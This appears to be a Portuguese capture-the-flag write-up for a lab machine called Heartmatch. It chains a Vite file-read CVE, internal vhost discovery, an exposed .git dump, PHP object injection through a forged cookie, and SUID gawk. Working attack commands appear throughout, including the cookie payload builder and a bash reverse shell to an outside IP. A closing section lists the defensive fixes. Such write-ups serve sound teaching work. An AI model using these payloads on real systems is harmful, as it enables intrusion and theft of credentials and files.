Target: 172.16.5.246 (heartmatch.hc) Cadeia: CVE-2025-30208 (Vite arbitrary file read) → descoberta de vhost interno → Git Exposed → PHP Object Injection (RCE) → SUID gawk → root.


Resumo

O Heartmatch tem quatro falhas separadas, e cada uma abre caminho pra próxima. Começa com um dev server do Vite rodando em produção, que deixa qualquer pessoa ler arquivos do sistema. Com isso dá pra ler o /etc/hosts e achar um vhost administrativo interno (backoffice-admin-hm.heartmatch.hc) que só devia responder em localhost, mas como o nginx roteia por Host header, é só mandar o header certo que ele responde de fora também.

Nesse backoffice, a pasta .git ficou exposta na web. Dá pra baixar o código PHP inteiro com o git-dumper. Lendo esse código, aparece um cookie que o usuário controla sendo desserializado sem checar nada. A classe recriada a partir desse cookie roda um system(), e o valor que veio do cookie é colado direto dentro do comando, sem passar por nenhum filtro. É isso que abre a porta pra RCE: forjando o cookie certo, dá pra fazer o servidor rodar qualquer comando, como o usuário www-data.

Daqui pra virar root é só achar o gawk que tem o bit SUID ligado, o que deixa ele ler qualquer arquivo do sistema com permissão de root, inclusive a flag.

O caminho completo:

  1. Vite dev server exposto → CVE-2025-30208 → leitura arbitrária de arquivo.
  2. Leitura do /etc/hosts revela o vhost interno do backoffice.
  3. .git exposto no backoffice → dump do código fonte PHP.
  4. unserialize() de cookie controlado + classe com __wakeup() chamando system() → RCE.
  5. gawk com SUID → leitura da root flag.

Etapa 1: Recon

O scan de portas mostra três serviços rodando:

22/tcp   OpenSSH 9.6p1
80/tcp   nginx 1.24.0
5173/tcp Vite dev server

A porta 5173 já chama atenção na hora, é a porta padrão do dev server do Vite. Ver um dev server rodando em produção é sempre estranho, porque ele foi feito pra rodar local durante o desenvolvimento, não pra ficar exposto na internet, e esse tipo de servidor tem histórico de bugs de path traversal. O nginx na porta 80 e o Vite na 5173 acabam servindo a mesma SPA (o nginx só faz proxy do mesmo index.html).

Uma coisa que percebi na prática: rodar o scan completo (-p-) direto no IP demora muito, a máquina responde devagar por IP. Rodando pelo hostname heartmatch.hc o scan fica bem mais rápido. De qualquer forma, o scan completo confirmou que só existem essas três portas, sem nenhum backend escondido em porta alta.

Etapa 2: CVE-2025-30208, leitura arbitrária de arquivo no Vite

A CVE-2025-30208 é um jeito de burlar o filtro server.fs.deny do Vite. Usando o prefixo /@fs/ (que serve arquivo direto do sistema de arquivos) junto com o sufixo ?raw??, dá pra ler arquivos de fora do diretório do projeto.

export URL='http://172.16.5.246:5173'
curl -s "$URL/@fs/etc/passwd?raw??"

A resposta volta empacotada como se fosse um módulo JS (export default “…” com um source map junto), e é isso que identifica a CVE, o Vite está tratando o arquivo como se fosse um módulo raw.

Se a resposta a /@fs/?raw?? trouxer conteúdo de um arquivo do sistema fora do projeto, a vulnerabilidade tá confirmada. O formato export default “<conteúdo>” é o sinal certo.

Alguns detalhes que apareceram na prática:

A CVE só funciona usando o IP, não o hostname. Mandando Host: heartmatch.hc, o Vite aplica o allowedHosts e responde diferente (cai no index.html padrão). Então sempre usar o IP direto pra ler arquivo via /@fs/.

O processo do Vite roda como www-data (UID 33). Lendo /proc/self/status pela CVE dá pra confirmar isso. Isso limita a leitura ao que o www-data tem permissão de ler, arquivos 600 de outro dono (tipo o .bash_history do usuário ubuntu) dão erro de acesso.

O .git do próprio projeto Vite fica bloqueado pelo fs.deny padrão (/.git/), e tentar burlar esse bloqueio específico não funcionou. No fim isso nem importou, porque o .git que interessava estava em outra aplicação.

Duas leituras acabaram sendo essenciais pro resto do ataque:

export APP='/var/www/heartmatch.hc'
# mostra o path da app e confirma que é um projeto Vite/React puro, sem backend
curl -s "$URL/@fs/proc/self/cmdline?raw??"
# mostra a config: fs.allow liberado, sem proxy configurado, allowedHosts
curl -s "$URL/@fs$APP/vite.config.js?raw??"

O cmdline do processo entrega o diretório da aplicação (/var/www/heartmatch.hc). O vite.config.js mostra fs: { allow: [’..’, ‘/’] }, ou seja leitura de todo o sistema de arquivos liberada, e o detalhe mais importante: não tem nenhum server.proxy configurado, o que já confirma que não existe backend passando pelo Vite.

Etapa 3: Descoberta do vhost interno via /etc/hosts

Como o frontend é só uma SPA em React (o package.json é um projeto Vite genérico chamado raw-view, só com react, react-dom e lucide), o backend com o .git e a desserialização tinha que estar em outro lugar. A peça que resolve isso é ler o /etc/hosts pela CVE:

curl -s "$URL/@fs/etc/hosts?raw??"

Que mostra:

127.0.0.1 localhost
127.0.0.1 backoffice-admin-hm.heartmatch.hc

Esse é o ponto que me destravou na máquina inteira. Um vhost apontando pra 127.0.0.1 é um serviço interno, provavelmente pensado como “protegido” por só escutar em localhost. Só que o nginx roteia pelo Host header, então basta mapear esse hostname pro IP público e mandar o Host certo pra acessar de fora.

Pra reconhecer isso em outras máquinas: sempre vale ler o /etc/hosts e configs de nginx/apache (sites-enabled, conf.d) quando se tem leitura arbitrária de arquivo, vhost interno é um padrão bem comum de segurança por obscuridade. Nomes tipo admin, backoffice, internal, dev em vhosts locais já são alvo prioritário. Quando não se tem leitura de arquivo, fuzzing de vhost pelo Host header cumpre o mesmo papel.

Mapeando e acessando:

echo '172.16.5.246 backoffice-admin-hm.heartmatch.hc' | sudo tee -a /etc/hosts
export BO='http://backoffice-admin-hm.heartmatch.hc'
curl -s -i "$BO/"

O backoffice é uma aplicação PHP (cookie PHPSESSID, Content-Type: text/html; charset=UTF-8), totalmente diferente do frontend em Vite.

Etapa 4: Git exposto no backoffice

O .git do backoffice está acessível direto por HTTP (aqui não tem o fs.deny do Vite, é outro servidor):

curl -s "$BO/.git/HEAD"      # ref: refs/heads/master
curl -s "$BO/.git/config"    # config git válido

Quando /.git/HEAD responde com ref: refs/heads/, significa que o repositório inteiro tá exposto. O deploy foi feito com git clone ou git pull direto no diretório público, sem bloquear o acesso ao .git no servidor. Baixando o repositório dá pra ver todo o código fonte, e muitas vezes segredo esquecido no histórico de commits.

pipx install git-dumper       # ou: pip install git-dumper --break-system-packages
git-dumper "$BO/.git/" backoffice_src
cd backoffice_src

A estrutura que apareceu: config/ (database.php, database.sql, backoffice.sqlite), includes/, models/, public/ (login.php, register.php, dashboard.php, users.php, e outros).

O backoffice.sqlite e o database.sql trazem a tabela de usuários com hash bcrypt (incluindo um admin), mas isso acabou sendo um desvio. RCE por object injection é mais rápido que tentar quebrar hash.

Etapa 5: PHP Object Injection vira RCE

O problema está em dois arquivos. Em models/UserSession.php:

class UserSession {
    public $username;
    public $plan;
    public function __wakeup(){
        if(!in_array($this->plan, ['free', 'premium'])){
            throw new Exception("Invalid plan detected");
        }
        system("echo {$this->plan} > /tmp/{$this->username}.txt");
    }
}

E em public/dashboard.php:

$user = unserialize(base64_decode($_COOKIE['user_data']));

Esse é o coração do RCE, e três coisas se juntam pra isso funcionar:

O unserialize() roda em cima de um valor que o usuário controla, o cookie user_data.

A classe UserSession tem um método mágico chamado __wakeup(), que o PHP chama sozinho assim que desserializa um objeto dessa classe.

Dentro do __wakeup() tem um system() montado com uma variável que vem direto do objeto, {$this->username}, sem nenhum tipo de filtro ou validação.

Na prática: o atacante monta um cookie serializado que representa um objeto UserSession, e quando o PHP desserializa esse cookie, o __wakeup() dispara automaticamente e roda o system() usando o username que o atacante escolheu.

Pra reconhecer PHP Object Injection em outras situações, vale procurar por unserialize() recebendo qualquer coisa vinda do usuário (cookie, parâmetro, header), e depois olhar as classes disponíveis atrás de métodos mágicos como __wakeup(), __destruct(), __toString(), __call(). Esses métodos são os “gadgets”, código que roda sozinho durante ou depois da desserialização. O melhor gadget é o que leva a rodar comando, escrever arquivo ou mexer no banco. Aqui, ter um system() recebendo variável direto é o cenário perfeito.

Tem uma restrição no meio disso: o __wakeup() valida que plan seja free ou premium, senão lança uma exceção antes de chegar no system(). Então o plan fica fixo em free, e o comando vai dentro do username, fechando o echo com um ponto e vírgula.

O formato serializado precisa ser montado na mão, e a contagem de caracteres em s:TAMANHO: tem que bater certinho, senão o unserialize() retorna false e o __wakeup() nem chega a rodar:

build_payload() {
  local u="$1"; local len=${#u}
  echo -n "O:11:\"UserSession\":2:{s:8:\"username\";s:${len}:\"${u}\";s:4:\"plan\";s:4:\"free\";}" | base64 -w0
}

Pra confirmar que a injeção funciona, dá pra disparar no backoffice e checar o resultado usando a leitura de arquivo do Vite, sem precisar de outro canal:

COOKIE=$(build_payload 'x; id > /tmp/pwned.txt; #')
curl -s "$BO/dashboard.php" -H "Cookie: user_data=$COOKIE" -o /dev/null
# lê o resultado do comando através da leitura arbitrária do Vite
curl -s "http://172.16.5.246:5173/@fs/tmp/pwned.txt?raw??"
# -> uid=33(www-data) ...

Pra pegar reverse shell, uso o comando em base64 pra não ter que lidar com escaping e contagem de caracteres:

# listener
nc -lvnp 4444

# payload
RS=$(echo -n 'bash -i >& /dev/tcp/10.0.52.44/4444 0>&1' | base64 -w0)
COOKIE=$(build_payload "x; echo ${RS} | base64 -d | bash; #")
curl -s "$BO/dashboard.php" -H "Cookie: user_data=$COOKIE"

O shell cai como www-data.

A flag de user fica na raiz do sistema de arquivos, com um nome propositalmente esquisito pra não dar pra achar só chutando o caminho, só quem já tem RCE consegue achar:

ls -la / | grep flag
# /us3r_fl4g_1mp0ss1bl3_t0_gu3ss_f0r_1ns3sur3_d3s3r14l1z4t10n.txt (dono: www-data)
cat "/us3r_fl4g_1mp0ss1bl3_t0_gu3ss_f0r_1ns3sur3_d3s3r14l1z4t10n.txt"
# hackingclub{flag1}

O nome do arquivo (“user flag impossible to guess for insecure deserialization”) já é praticamente uma dica do autor da máquina: a flag tá liberada pro www-data ler, mas o nome estranho garante que só quem realmente conquistou o shell via object injection vai achar ela, não dá pra chutar.

Etapa 6: Escalando privilégio pelo SUID do gawk

Recon de escalação:

find / -perm -4000 2>/dev/null | grep -i awk
# /usr/bin/gawk
ls -la /usr/bin/gawk
# -rwsr-xr-x 1 root root ... /usr/bin/gawk

O bit SUID (aquele s no lugar do x de execução do dono) em /usr/bin/gawk, pertencendo ao root, faz o gawk rodar com o euid de root não importa quem executou ele. E como o awk/gawk consegue ler arquivo e rodar comando, SUID nele já é privesc direto, tá catalogado no GTFOBins.

Um detalhe que apareceu na prática: o método “shell” do GTFOBins não funcionou dessa vez:

awk 'BEGIN {system("/bin/bash -p")}'
id   # continua uid=33(www-data), o gawk derrubou o euid antes de chamar o system()

Mas o método de leitura direta funcionou. O getline do gawk lê o arquivo mantendo o privilégio de leitura do SUID:

awk 'BEGIN{while((getline line < "/root/root.txt")>0) print line}'
# hackingclub{flag2}

Aqui eu aprendi que: quando o SUID em awk/gawk não te dá shell de root direto (algumas versões derrubam o privilégio no system()), o getline ainda deixa ler arquivo protegido. É a diferença entre executar como root e ler como root, e pra pegar a flag, só ler já resolve.

Se fosse preciso escalar de verdade, não só ler a flag, dava pra usar o mesmo princípio pra ler o /etc/shadow e quebrar o hash do root offline, ou ler a chave SSH privada do root em /root/.ssh/id_rsa.


Como reconhecer esse tipo de vulnerabilidade em geral

Dev server exposto: Vite (porta 5173), webpack-dev-server e parecidos nunca deveriam estar rodando em produção. A porta padrão já denuncia. A CVE-2025-30208 e outras da mesma família são formas de burlar o filtro de acesso a arquivo, vale testar /@fs/ com sufixo tipo ?raw??.

Leitura arbitrária de arquivo pra mapear a infra: tendo esse tipo de leitura, dá pra ler /etc/hosts, config de webserver, /proc/self/cmdline e /proc/self/status pra achar vhost interno, path de aplicação e o usuário que roda o processo. Vhost em 127.0.0.1 é sinal de serviço interno acessível pelo Host header.

Git exposto: /.git/HEAD respondendo com um ref significa repositório inteiro disponível pra baixar. Sempre vale testar, e usar o git-dumper. O histórico de commit costuma esconder segredo.

Desserialização insegura, ou object injection: procurar unserialize() em PHP, pickle.loads() em Python, readObject() em Java, node-serialize em Node, sempre em cima de algo que vem do usuário. Depois olhar as classes disponíveis atrás de método mágico, que funciona como gadget. Cookie ou parâmetro carregando um blob em base64 é o vetor mais comum.

Binário com SUID: find / -perm -4000 2>/dev/null no recon de escalação. Depois consultar o GTFOBins pra cada binário encontrado. Vale lembrar que se o método de shell não funcionar por causa de drop de privilégio, os métodos de leitura de arquivo (getline e outros) costumam continuar funcionando.


Correções (lado defensivo)

Nunca deixar dev server (Vite, webpack) exposto em produção, usar build estático servido por um webserver configurado direito. Manter o Vite atualizado, a CVE-2025-30208 já tem correção.

Bloquear o acesso ao .git no webserver (location ~ /.git { deny all; }), e o ideal é nem versionar dentro do diretório público.

Nunca desserializar entrada que vem do usuário. Prefira formato de dado seguro como JSON em vez de serialização de objeto. Se não tiver como evitar, assine e valide o payload com HMAC e use lista de classes permitidas.

Nunca colar entrada de usuário direto dentro de system() ou exec(). Usar API que separa comando de argumento, e validar/escapar direito.

Tirar SUID desnecessário de binário como awk/gawk. Se um processo precisa mesmo de privilégio elevado, isolar isso num serviço separado com escopo mínimo.

Não reutilizar senha entre contas (os hashes duplicados no banco mostram que isso aconteceu aqui).

Valeu por ter lido, tmj!